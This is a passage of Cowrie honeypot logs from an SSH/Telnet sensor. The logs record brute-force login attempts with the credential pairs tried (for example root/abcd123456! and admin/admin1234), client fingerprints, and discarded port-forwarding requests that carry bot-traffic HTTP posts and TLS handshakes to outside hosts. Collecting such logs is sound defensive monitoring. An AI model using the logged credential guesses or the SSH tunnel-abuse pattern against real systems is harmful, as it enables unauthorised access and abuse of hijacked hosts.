covXJ4NK%2FzUvKIAk4aAE66qUnkrs8MuLw6m2ck9WErAouwZ7faD3evhXld%2Btpm1eZxxVbnzFpYiS09r%2B%2BnE6vwekjID41ZoiD9eK68kr3Un0kvbcdmTiOarsBPf%2BNTGLqj8Ci8b9hgTu36KbRLUBN6Jce2CEMOY8emIFbKRUbt8YIXyWVkgImt5gjj2njg7BpDncn74Uckd%2B%2BuRseEmsXIUtBlSJxwChgYld4djckD50ZRbZzK561pPKSoa0GUN9v770lPMClsuwAfxAYdQtcA6oVQklVvQ7WXjPi9xM2K3gLDmsnH%2FevD230xEm3KNv%2BtvqK6F7wnGyP3tvTqIQJKvlmeJnLoVepm5UbrRclN3wtLDDdhtMpiOKIJh2yzHgQHdeiCk%2FvDx2isxQ1RlumxHufBOKoPStZMwTHmltgRgF9aS%2F0pB4j2WN9upraQD6Cw1SM%2FJHeqfMVfUWX065WwVxgy40aQ29MOStUjklVT3ct9VKLt%2B2UYe%2FPueonWOdTKq1MtwWFZYdFqjec'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ckN%2BMUpTPnJoL2hhS0FjUg%3D%3DIByBVzz56fL419Rywu5AZCscEFNF8hLaEYAEgifnWxX2I4fkCpapMJp7JWZqzVc6Tue0DCoIYsesjd2b0hmfqhqlR3YM5WS%2BcV0JpUPGdpdo33skBDUOz%2Bx5cXcnfV6tLoZARgGq0jFcjeIy9Zdefj5Onm30vVx7YJBT2SAFwjR7oSlo%2BhuRwMN%2BdJXjh7mpDJ19d1HG3FfQPgjyNPrfZmWv0THdJ88Q9xLrSrPUY13oTXpKexDEk3bZzi2mbi%2BTIErd3mDaYChjodLqi9vb1xvbd5Eenq93c1w77ti8f6rXxrId8YFy4bk0OJNuHrihdMvvbY5ddNCrITieMwW5sDsvxB77nT3N9FMuE1d8CUrHbI7E3IlIo7xCMkC1NJyeP8B%2BOMPDoQ%2B04kKOaNzU1X0aXNAHzVnYWyPvu2U%2FR7mASRly2%2B8XbKJoU7YdSKWuVpo3jrBvhDu97VDxoBn%2B9ZIpNPDUL4VKljGa2aG%2BUbvNXyCchaIvAU2E2TbwrimNoHwmJIRawYBeEQa35BhQMJ0zyeHrRLbQCiEImajEttgw6xxcovXJ4NK%2FzUvKIAk4aAE66qUnkrs8MuLw6m2ck9WErAouwZ7faD3evhXld%2Btpm1eZxxVbnzFpYiS09r%2B%2BnE6vwekjID41ZoiD9eK68kr3Un0kvbcdmTiOarsBPf%2BNTGLqj8Ci8b9hgTu36KbRLUBN6Jce2CEMOY8emIFbKRUbt8YIXyWVkgImt5gjj2njg7BpDncn74Uckd%2B%2BuRseEmsXIUtBlSJxwChgYld4djckD50ZRbZzK561pPKSoa0GUN9v770lPMClsuwAfxAYdQtcA6oVQklVvQ7WXjPi9xM2K3gLDmsnH%2FevD230xEm3KNv%2BtvqK6F7wnGyP3tvTqIQJKvlmeJnLoVepm5UbrRclN3wtLDDdhtMpiOKIJh2yzHgQHdeiCk%2FvDx2isxQ1RlumxHufBOKoPStZMwTHmltgRgF9aS%2F0pB4j2WN9upraQD6Cw1SM%2FJHeqfMVfUWX065WwVxgy40aQ29MOStUjklVT3ct9VKLt%2B2UYe%2FPueonWOdTKq1MtwWFZYdFqjec'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:36.325400Z","src_ip":"173.208.188.210","session":"90521652405c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.333362102508545,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:36.567792Z","src_ip":"172.81.62.90","session":"f18dbd3271bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":48712,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba6d143b209f","protocol":"ssh","message":"New connection: 49.247.37.22:48712 (159.203.135.109:22) [session: ba6d143b209f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:38.098973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:38.104933Z","src_ip":"49.247.37.22","session":"ba6d143b209f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:38.305604Z","src_ip":"49.247.37.22","session":"ba6d143b209f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd123456!","message":"login attempt [root/abcd123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:39.160747Z","src_ip":"49.247.37.22","session":"ba6d143b209f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00191688537598,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:40.105848Z","src_ip":"128.199.8.54","session":"2e27cc610d9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:40.380599Z","src_ip":"49.247.37.22","session":"ba6d143b209f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":53194,"dst_ip":"10.17.0.5","dst_port":22,"session":"c37a77fcc7ba","protocol":"ssh","message":"New connection: 123.27.168.40:53194 (10.17.0.5:22) [session: c37a77fcc7ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:42.478243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:42.482842Z","src_ip":"123.27.168.40","session":"c37a77fcc7ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:42.862412Z","src_ip":"123.27.168.40","session":"c37a77fcc7ba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:43.741396Z","session":"90521652405c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:43.775944Z","src_ip":"173.208.188.210","session":"90521652405c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8aB\\x12\\xaa\\xc0ig\\xd3.+\\x04\\xe7\\xbd6`\\x13\\xabI\\xf8d\\x80\\xe6\\xf0\\x0c\\x02\\xd4\\xa46V\\xf8Ak \\xa1c\\xad\\xb7L$\\xbc\\xa1\\xfb\\xbdn^\\xaf\\xdcq\\xa3\\xb8\\x85\\xaf\\xd7\\xbf,4\\xd81\\x04o\\xc2VC\\n\\xf6\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 #.]\\xbeH;\\xff\\x0b\\xc0\\x92s5U\\xa5\\x12\\xe55\\xb9\\x1fz\\x85\\xf1\\xcb\\xda\\xd1L\\x0f\\xe9^\\x81\\x80\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8aB\\x12\\xaa\\xc0ig\\xd3.+\\x04\\xe7\\xbd6`\\x13\\xabI\\xf8d\\x80\\xe6\\xf0\\x0c\\x02\\xd4\\xa46V\\xf8Ak \\xa1c\\xad\\xb7L$\\xbc\\xa1\\xfb\\xbdn^\\xaf\\xdcq\\xa3\\xb8\\x85\\xaf\\xd7\\xbf,4\\xd81\\x04o\\xc2VC\\n\\xf6\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 #.]\\xbeH;\\xff\\x0b\\xc0\\x92s5U\\xa5\\x12\\xe55\\xb9\\x1fz\\x85\\xf1\\xcb\\xda\\xd1L\\x0f\\xe9^\\x81\\x80\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:43.778846Z","src_ip":"173.208.188.210","session":"90521652405c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:43.817808Z","session":"90521652405c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:44.152790Z","src_ip":"173.208.188.210","session":"90521652405c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb6\\xef\\xa6m\\xca/\\xcaIT\\xdc\\ts\\xf1\\x9e\\xa1\\xa8\\x8cS*\\x9b\\xc5.\\x14\\x06\\xf3\\xd8.b%\\x94\\xe7\\xa7 \\xc7\\xd0\\xb1\\x99\\xbf4M\\xcd\\xac\\xd6;\\x12p\\x966\\x8b\\x10\\xb3\\xba%\\x1c06\\x9c\\x81o\\x13\\xca\\x95ej\\xb8\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 QH<\\xbck&+6\\xf7\\xbb6\\xc6\\x00\\xb0\\x15R\\xa8\\xfb\\xddi\\xffD\\xae\\xc6\\xbby#\\xf0\\xa0I\\xb0F\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb6\\xef\\xa6m\\xca/\\xcaIT\\xdc\\ts\\xf1\\x9e\\xa1\\xa8\\x8cS*\\x9b\\xc5.\\x14\\x06\\xf3\\xd8.b%\\x94\\xe7\\xa7 \\xc7\\xd0\\xb1\\x99\\xbf4M\\xcd\\xac\\xd6;\\x12p\\x966\\x8b\\x10\\xb3\\xba%\\x1c06\\x9c\\x81o\\x13\\xca\\x95ej\\xb8\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 QH<\\xbck&+6\\xf7\\xbb6\\xc6\\x00\\xb0\\x15R\\xa8\\xfb\\xddi\\xffD\\xae\\xc6\\xbby#\\xf0\\xa0I\\xb0F\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:44.155611Z","src_ip":"173.208.188.210","session":"90521652405c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:44.163183Z","src_ip":"123.27.168.40","session":"c37a77fcc7ba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:44.534232Z","session":"c37a77fcc7ba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:44.650936Z","session":"c37a77fcc7ba","protocol":"ssh"}
